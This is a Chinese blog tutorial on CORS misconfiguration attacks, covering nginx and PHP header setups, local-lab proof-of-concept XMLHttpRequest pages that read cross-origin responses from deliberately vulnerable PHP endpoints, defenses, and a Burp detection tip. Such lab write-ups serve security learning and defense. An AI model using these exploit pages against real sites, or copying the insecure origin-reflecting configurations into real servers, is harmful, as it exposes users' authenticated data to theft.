美文网首页
浅析CORS攻击及其挖洞思路

浅析CORS攻击及其挖洞思路

作者: CanMeng | 来源:发表于2020-12-07 01:27 被阅读0次

    0x1 CORS机制

    CORS全名跨域资源共享(Cross-Origin-Resourece-sharing),该机制主要是解决浏览器同源策略所带来的不便,使不同域的应用能够无视同源策略,进行信息传递。

    引用一张图能很好地说明CORS机制的作用

    0x2 CORS机制实现

    那么这个机制是怎么发挥作用的呢?

    CORS的标准定义是:通过设置http头部字段,让客户端有资格跨域访问资源。通过服务器的验证和授权之后,浏览器有责任支持这些http头部字段并且确保能够正确的施加限制。

    为了更好理解这个过程,我们首先了解下相关的http头部字段

    请求头说明

    Origin表面预检请求或实际请求的源站URI, 浏览器请求默认会发送该字段

    Access-Control-Request-Method将实际请求所使用的HTTP方法告知服务器

    Access-Control-Request-Headers将实际请求所携带的首部字段告知服务

    响应头说明

    Access-Control-Allow-Origin(ACAO)指定允许访问资源的外域URI,对于携带身份凭证的请求不可使用通配符*

    Access-Control-Allow-Credentials是否允许浏览器读取response的内容,当用在preflight预检请求的响应中时,指定实际的请求是否可使用credentials

    那么这个机制,具体可以总结为下面这个图片

    所有的请求实际上都已经发出了,只不过浏览器解析的时候根据返回的http头部字段来选择性拦截了而已。

    0x3 如何配置CORS

    0x3.1 配置中间件nginx实现CORS跨域

    这个点我就从网上经典的例子来找的,其实默认这样设置存在很多问题,0x4的时候我会讲相应的攻击思路

    我当时google了一下搜索nginx配置跨域CORS)

    经典配置一:

    location / { 

        add_header Access-Control-Allow-Origin *;

        add_header Access-Control-Allow-Methods 'GET, POST, OPTIONS';

        add_header Access-Control-Allow-Headers 'DNT,X-Mx-ReqToken,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Authorization';

        if ($request_method = 'OPTIONS') {

            return 204;

        }

    }

    经典配置二:

    location / { 

            add_header Access-Control-Allow-Origin $http_origin;

            add_header Access-Control-Allow-Methods GET,POST,OPTIONS;

            add_header Access-Control-Allow-Credentials true;

            add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;

            add_header Access-Control-Max-Age 1728000;

    }

    比较合理的配置方案(加上白名单检查):

    location / {

      # 检查域名后缀 这里进行了检查

      if ($http_origin ~ \.test\.com) {

            add_header Access-Control-Allow-Origin $http_origin;

            add_header Access-Control-Allow-Methods GET,POST,OPTIONS;

            add_header Access-Control-Allow-Credentials true;

            add_header Access-Control-Allow-Headers DNT,X-CustomHeader,Keep-Alive,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type;

            add_header Access-Control-Max-Age 1728000;

      }

      # options请求不转给后端,直接返回204

    }

    0x3.2 单服务PHP简单控制头部方式

    当年某一个SSRF的漏洞,我就是天真的没有设置跨域请求,不熟悉,导致丢失了一血,非常遗憾哇。

    1.允许所有源

    <?phpheader("Access-Control-Allow-Origin: *");?>

    2.允许来自特定源的访问

    <?phpheader('Access-Control-Allow-Origin: '.$_SERVER['HTTP_ORIGIN']);?>

    3.配置多个访问源

    <?php$allowed_origins=array("http://www.example.com","http://app.example.com","http://cms.example.com",);if(in_array($_SERVER['HTTP_ORIGIN'],$allowed_origins)){@header("Access-Control-Allow-Origin: ".$_SERVER['HTTP_ORIGIN']);}?>

    0x3.3 ...

    还有相当多的方式,具体可以参考Nginx 通过 CORS 实现跨域

    0x4 攻击CORS的思路

    0x4.1 一次失败的例子

    这里我自己写一个简单的存在CORS漏洞的服务为例子展示如何对此进行攻击(其实没办法攻击)。

    <?phpheader("Access-Control-Allow-Origin: *");$value="mySecretIs123456";setcookie("pass",$value,time()+3600*24);?><!DOCTYPE html><html><head>    <script>    window.onload = function(){        document.body.innerHTML = document.cookie;    }    </script></head><body></body></html>

    可以看到我们直接把cookie回显给了页面,当时我挖掘腾讯的时候就遇到这样的一个例子

    但是没想着怎么去利用,然后给忽略了,不过当时好像也没开cors配置,毕竟是个test站点。

    回到正题上,我们该怎么对此进行攻击呢。

    这里我们编辑下/etc/hosts,增加两条解析记录

    127.0.0.1 victim.com

    26 127.0.0.1 attack.com

    exp.php:

    <html><head>    <script type="text/javascript">        window.onload = function cors() {        var xhttp = new XMLHttpRequest();        xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        document.getElementById("demo").innerHTML =        alert(this.responseText);        }        };        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);        xhttp.send();        }    </script></head><body>    <textarea id="demo"></textarea></body></html>

    然后我们假装受害者去访问下:

    结果返回的是html的源代码,没办法获取dom之后的结果,这其实也在我的意料之中因为浏览器不会去解析资源内容再返回,欢迎师傅们谈下这类型的信息泄漏有啥利用的思路。

    0x4.2 API接口信息获取

    这里分为两种情况:

    第一种是无需cookie的,这种一般可以利用在比如限制了ip的waf,让管理员去请求敏感页面获取相应资源。

    漏洞代码如下:

    apiVuln.php

    <?phpheader("Access-Control-Allow-Origin: *");header("content-type:application/json");$info=array('user'=>'xq17','pass'=>'123456');echojson_encode($info);//json_encode对变量进行 JSON 编码

    攻击代码如下:

    <html>

    <head>

        <script type="text/javascript">

            window.onload = function cors() {

            var xhttp = new XMLHttpRequest();

            xhttp.onreadystatechange = function() {

            if (this.readyState == 4 && this.status == 200) {

            document.getElementById("demo").innerHTML =

            alert(this.responseText);

            }

            };

            xhttp.open("GET", "http://victim.com:8888/cors/apiVuln.php", true);

            xhttp.send();

            }

        </script>

    </head>

    <body>

        <textarea id="demo"></textarea>

    </body>

    </html>

    第二种是发送cookie利用登陆信息,然后请求鉴权的api获取敏感数据。

    vuln.php

    <?phpheader("Access-Control-Allow-Origin: *");session_start();if(@$_SESSION["user"]=="admin"){//输出敏感信息$info=array('user'=>'xq17','pass'=>'123456');echojson_encode($info);}else{echo"login fail!";echo'<a href="login.php">登陆</a>';}?>

    login.php

    <?phpsession_start();$_SESSION["user"]="admin";header("Location:vuln.php");

    这里我们准备下两个页面,当我们尝试利用这样的poc来攻击的话

    <html><head>    <script type="text/javascript">        window.onload = function cors() {        var xhttp = new XMLHttpRequest();        xhttp.onreadystatechange = function() {        if (this.readyState == 4 && this.status == 200) {        document.getElementById("demo").innerHTML =        alert(this.responseText);        }        };        xhttp.open("GET", "http://victim.com:8888/cors/vuln.php", true);        xhttp.withCredentials = false;        xhttp.send();        }    </script></head><body>    <textarea id="demo"></textarea></body></html>

    我们访问 http://victim.com:8888/cors/vuln.php,然后点击登陆获取到登陆信息,然后我们假装成受害者点击`http://attack.com:8888/cors/exp.php`

    可以看到这个接口是需要登陆信息的

    但是如果我们修改vuln.php成这样子呢

    header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Credentials: true");

    可以看到cookie的确发送了,也返回了对应的json数据,但是却没有被脚本接收到,因为脚本接收到数据得先问下浏览器支持不,我们可以看下console就可以发现被禁止的原因了,因为

    header("Access-Control-Allow-Origin: *");header("Access-Control-Allow-Credentials: true");

    这样开启的跨域肯定是不安全的,所以浏览器直接ban掉了这种配置方式。

    这样也是不行的,我们再尝试修改成:

    header("Access-Control-Allow-Origin: http://attack.com:8888");header("Access-Control-Allow-Credentials: true");

    这样便可以了获取到敏感信息了。

    最后小结一下:

    关键判断是否存在cors漏洞

    公有资源:Access-Control-Allow-Origin:*

    授权信息:Access-Control-Allow-Credentials: true 同时 Access-Control-Allow-Origin:不为*

    0x5 CORS防御思路

    白名单

    规范化正则表达式

    只允许安全的协议如https

    避免使用Access-Control-Allow-Credentials为True

    «使用框架的时候注意查看相关文档的用法,根据上面规则进行更正。

    0x6 高效挖掘CORS漏洞的探讨

    如何有效的探测cors漏洞呢,最简单的就是我们伪造一个xhr的请求去测试下能获取信息不,xhr请求有一个很明显的特征字段:Origin,这个也是浏览器判断是否同源的根据。

    burp是支持简单的cors漏洞扫描的

    但是误报率很高,而且也需要自己去手工验证,这里我比较推荐

    就是我们自己寻找一些关键的api接口,然后我们让请求自动添加上Origin然后我们在看返回包,来判断这样的话不但准确而且很方便。

    这个实现我们可以用burp的替换功能来实现

    proxy->options->Match and Replace->Add

    勾选上这个即可。

    相关文章

      网友评论

          本文标题:浅析CORS攻击及其挖洞思路

          本文链接:https://www.haomeiwen.com/subject/fylkwktx.html